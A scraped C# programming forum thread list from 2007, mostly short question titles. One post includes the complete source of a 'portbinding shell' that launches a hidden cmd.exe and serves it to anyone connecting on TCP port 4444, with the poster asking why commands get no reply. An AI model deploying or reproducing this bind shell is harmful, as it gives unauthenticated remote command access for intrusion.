Click here to Skip to main content
15,892,697 members
Home / Discussions / C#
   

C#

 
GeneralRe: compare binary with binary in C# Pin
amin_ramin888615-Aug-07 22:06
amin_ramin888615-Aug-07 22:06 
AnswerRe: compare binary with binary in C# Pin
Guffa16-Aug-07 2:15
Guffa16-Aug-07 2:15 
Question[C#] - Combining several projects Pin
aravinda77715-Aug-07 0:25
aravinda77715-Aug-07 0:25 
AnswerRe: [C#] - Combining several projects Pin
Christian Graus15-Aug-07 0:48
protectorChristian Graus15-Aug-07 0:48 
AnswerRe: [C#] - Combining several projects Pin
Scott Dorman15-Aug-07 4:07
professionalScott Dorman15-Aug-07 4:07 
Questionhow to databind a image from my database to my asp page Pin
Daniel_Logan15-Aug-07 0:20
Daniel_Logan15-Aug-07 0:20 
AnswerRe: how to databind a image from my database to my asp page Pin
Christian Graus15-Aug-07 0:50
protectorChristian Graus15-Aug-07 0:50 
QuestionPortbinding Shell in C# Pin
Paul Chin PC15-Aug-07 0:12
Paul Chin PC15-Aug-07 0:12 
Dear Fellow Programmers, Smile | :)

I'm writing a console-based, portbinding shell program. The program listens on TCP port 4444. I then telnet, putty or netcat to port 4444 and I immediately get a shell. For example, from another PC:

C:\telnet 192.168.0.2 4444

and i get:

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>


Using only one PC, I could also telnet 127.0.0.1 4444 and it will also work.
However, my problem is, when I type a command, eg,


Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>dir


Nothing happens. There was not even any error response from the shell. i tried repeating many commands many times even providing the full path name, but no response. Any help and advise would be much appreciated. The complete source code is as below:

<br />
using System;<br />
using System.Collections.Generic;<br />
using System.Text;<br />
using System.Runtime.InteropServices;<br />
using System.Net.Sockets;<br />
using System.IO;<br />
<br />
namespace RemoteCmdExe<br />
{<br />
    class Program<br />
    {<br />
        #region win32 API Imports<br />
        [DllImport("kernel32.dll", SetLastError = true)]<br />
        static extern int CreatePipe(ref IntPtr phReadPipe, ref IntPtr phWritePipe,<br />
           ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize);<br />
<br />
        [StructLayout(LayoutKind.Sequential)]<br />
        public struct SECURITY_ATTRIBUTES<br />
        {<br />
            public int Length;<br />
            public IntPtr lpSecurityDescriptor;<br />
            public bool bInheritHandle;<br />
        }<br />
<br />
<br />
<br />
        [DllImport("kernel32.dll")]<br />
        private static extern bool CreateProcess(<br />
            string lpApplicationName,<br />
            string lpCommandLine,<br />
            IntPtr lpProcessAttributes,<br />
            IntPtr lpThreadAttributes,<br />
            bool bInheritHandles,<br />
            int dwCreationFlags,<br />
            IntPtr lpEnvironment,<br />
            string lpCurrentDirectory,<br />
            ref STARTUPINFO lpStartupInfo,<br />
            ref PROCESS_INFORMATION lpProcessInformation<br />
            );<br />
<br />
        [StructLayout(LayoutKind.Sequential)]<br />
        private struct STARTUPINFO<br />
        {<br />
            public int cb;<br />
            public string lpReserved;<br />
            public string lpDesktop;<br />
            public string lpTitle;<br />
            public int dwX;<br />
            public int dwY;<br />
            public int dwXSize;<br />
            public int dwYSize;<br />
            public int dwXCountChars;<br />
            public int dwYCountChars;<br />
            public int dwFillAttribute;<br />
            public int dwFlags;<br />
            public short wShowWindow;<br />
            public short cbReserved2;<br />
            public IntPtr lpReserved2;<br />
            public IntPtr hStdInput;<br />
            public IntPtr hStdOutput;<br />
            public IntPtr hStdError;<br />
        }<br />
<br />
        [StructLayout(LayoutKind.Sequential)]<br />
        private struct PROCESS_INFORMATION<br />
        {<br />
            public IntPtr hProcess;<br />
            public IntPtr hThread;<br />
            public int dwProcessId;<br />
            public int dwThreadId;<br />
        }<br />
<br />
        [DllImport("kernel32.dll", SetLastError = true)]<br />
        static extern int PeekNamedPipe(IntPtr hNamedPipe, StringBuilder lpBuffer, int nBufferSize, ref int lpBytesRead, ref int lpTotalBytesAvail, ref int lpBytesLeftThisMessage);<br />
<br />
        [DllImport("kernel32", SetLastError = true)]<br />
        static extern  bool ReadFile(IntPtr hFile,<br />
             StringBuilder lpBuffer, int nBytesToRead,<br />
             ref int nBytesRead, IntPtr overlapped);<br />
<br />
        [DllImport("kernel32", SetLastError = true)]<br />
        static extern bool WriteFile(IntPtr hFile,<br />
             StringBuilder lpBuffer, int nBytesToWrite,<br />
             ref int nBytesWritten, IntPtr overlapped);<br />
        <br />
<br />
        #endregion<br />
<br />
        #region winAPI constants<br />
        //<br />
        // winAPI constants.<br />
        //<br />
        private const short SW_HIDE = 0;<br />
        private const short SW_NORMAL = 1;<br />
        private const int STARTF_USESTDHANDLES = 0x00000100;<br />
        private const int STARTF_USESHOWWINDOW = 0x00000001;<br />
        private const int UOI_NAME = 2;<br />
        private const int STARTF_USEPOSITION = 0x00000004;<br />
        private const int NORMAL_PRIORITY_CLASS = 0x00000020;<br />
        private const long DESKTOP_CREATEWINDOW = 0x0002L;<br />
        private const long DESKTOP_ENUMERATE = 0x0040L;<br />
        private const long DESKTOP_WRITEOBJECTS = 0x0080L;<br />
        private const long DESKTOP_SWITCHDESKTOP = 0x0100L;<br />
        private const long DESKTOP_CREATEMENU = 0x0004L;<br />
        private const long DESKTOP_HOOKCONTROL = 0x0008L;<br />
        private const long DESKTOP_READOBJECTS = 0x0001L;<br />
        private const long DESKTOP_JOURNALRECORD = 0x0010L;<br />
        private const long DESKTOP_JOURNALPLAYBACK = 0x0020L;<br />
        private const long AccessRights = DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | DESKTOP_READOBJECTS;<br />
        #endregion<br />
<br />
<br />
        static void Main(string[] args)<br />
        {<br />
            int ret = 0;<br />
            TcpListener tcpListener;<br />
            Socket socketForClient;<br />
            NetworkStream networkStream;<br />
            StreamReader streamReader;<br />
            StreamWriter streamWriter;<br />
<br />
            <br />
            SECURITY_ATTRIBUTES sa;<br />
            sa.Length = 12;<br />
            sa.lpSecurityDescriptor = IntPtr.Zero;<br />
            sa.bInheritHandle = true;<br />
<br />
            IntPtr hReadPipe1=IntPtr.Zero, hWritePipe1=IntPtr.Zero, <br />
                hReadPipe2=IntPtr.Zero, hWritePipe2=IntPtr.Zero; //IntPtr=HANDLE<br />
            int nPipe1 = CreatePipe(ref hReadPipe1, ref hWritePipe1, ref sa, 0);<br />
            int nPipe2 = CreatePipe(ref hReadPipe2, ref hWritePipe2, ref sa, 0);<br />
<br />
            STARTUPINFO si = new STARTUPINFO();<br />
            si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;<br />
            si.wShowWindow = SW_HIDE;<br />
            si.hStdInput = hReadPipe2;<br />
            si.hStdOutput = si.hStdError = hWritePipe1;<br />
            string cmdLine= "cmd.exe";<br />
            PROCESS_INFORMATION ProcessInformation = new PROCESS_INFORMATION();<br />
            bool result = CreateProcess(null, cmdLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref si, ref ProcessInformation);<br />
<br />
            int lBytesRead=0; //char[] Buff = new char[1024];<br />
            //string Buff=new String();<br />
            StringBuilder Buff = new StringBuilder(1024);<br />
            int inta = 0, intb = 0; bool gotread = false,gotwrite=false;<br />
<br />
            tcpListener = new TcpListener(System.Net.IPAddress.Any, 4444);<br />
            tcpListener.Start();<br />
            socketForClient = tcpListener.AcceptSocket();<br />
            networkStream = new NetworkStream(socketForClient);<br />
            streamReader = new StreamReader(networkStream);<br />
            streamWriter = new StreamWriter(networkStream);<br />
<br />
            string strRead = "";<br />
            <br />
            while (true)<br />
            {<br />
                Buff.Remove(0, Buff.Length);<br />
                ret = PeekNamedPipe(hReadPipe1, Buff, 1024, ref lBytesRead, ref inta, ref intb);<br />
                if (lBytesRead > 0)<br />
                {<br />
                    gotread = ReadFile(hReadPipe1, Buff, lBytesRead, ref lBytesRead, IntPtr.Zero);<br />
                    if (!gotread) break;<br />
                    streamWriter.Write(Buff);<br />
                    streamWriter.Flush();<br />
                }<br />
                else<br />
                {<br />
                    Buff.Remove(0, Buff.Length);<br />
                    Buff.Append(streamReader.ReadLine());<br />
                    int nBytesRead=Buff.Length;<br />
                    <br />
                    gotwrite=WriteFile(hWritePipe2, Buff, nBytesRead, ref nBytesRead, IntPtr.Zero);<br />
                    if (!gotwrite) break;<br />
                }<br />
                <br />
            }<br />
<br />
        }<br />
    }<br />
}<br />
<br />


Thanks in advance! Smile | :)
Paul



Just code it

AnswerRe: Portbinding Shell in C# - Solution Pin
Paul Chin PC15-Aug-07 6:19
Paul Chin PC15-Aug-07 6:19 
GeneralRe: Portbinding Shell in C# - Major Improvement Pin
Paul Chin PC19-Aug-07 3:52
Paul Chin PC19-Aug-07 3:52 
QuestionMS FlexGrid 6 with Unicode in .Net, possible? Pin
Doan Quynh15-Aug-07 0:08
Doan Quynh15-Aug-07 0:08 
AnswerRe: MS FlexGrid 6 with Unicode in .Net, possible? Pin
Christian Graus15-Aug-07 0:09
protectorChristian Graus15-Aug-07 0:09 
GeneralRe: MS FlexGrid 6 with Unicode in .Net, possible? Pin
Doan Quynh15-Aug-07 16:55
Doan Quynh15-Aug-07 16:55 
Question[Message Deleted] Pin
jacklynn_mei14-Aug-07 23:59
jacklynn_mei14-Aug-07 23:59 
AnswerRe: problem in SELECT COUNT(columnName) FROM dbName Pin
Christian Graus15-Aug-07 0:12
protectorChristian Graus15-Aug-07 0:12 
AnswerRe: problem in SELECT COUNT(columnName) FROM dbName Pin
Colin Angus Mackay15-Aug-07 0:19
Colin Angus Mackay15-Aug-07 0:19 
AnswerRe: problem in SELECT COUNT(columnName) FROM dbName Pin
Rocky#15-Aug-07 1:44
Rocky#15-Aug-07 1:44 
QuestionHow i read Excel file by C# Program ? [modified] Pin
shafikshafik14-Aug-07 23:56
shafikshafik14-Aug-07 23:56 
AnswerRe: How i read Excel file by C# Program ? Pin
Christian Graus15-Aug-07 0:15
protectorChristian Graus15-Aug-07 0:15 
QuestionAbout a Listbox update Pin
LittleMichelle14-Aug-07 23:18
LittleMichelle14-Aug-07 23:18 
AnswerRe: About a Listbox update Pin
Rocky#15-Aug-07 1:45
Rocky#15-Aug-07 1:45 
GeneralRe: About a Listbox update Pin
LittleMichelle15-Aug-07 15:10
LittleMichelle15-Aug-07 15:10 
Questioncallback c# function from c++ Pin
djdjoko14-Aug-07 23:13
djdjoko14-Aug-07 23:13 
AnswerRe: callback c# function from c++ Pin
Luc Pattyn15-Aug-07 3:10
sitebuilderLuc Pattyn15-Aug-07 3:10 
QuestionServer Connection Check Pin
Syed Shahid Hussain14-Aug-07 23:10
Syed Shahid Hussain14-Aug-07 23:10 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.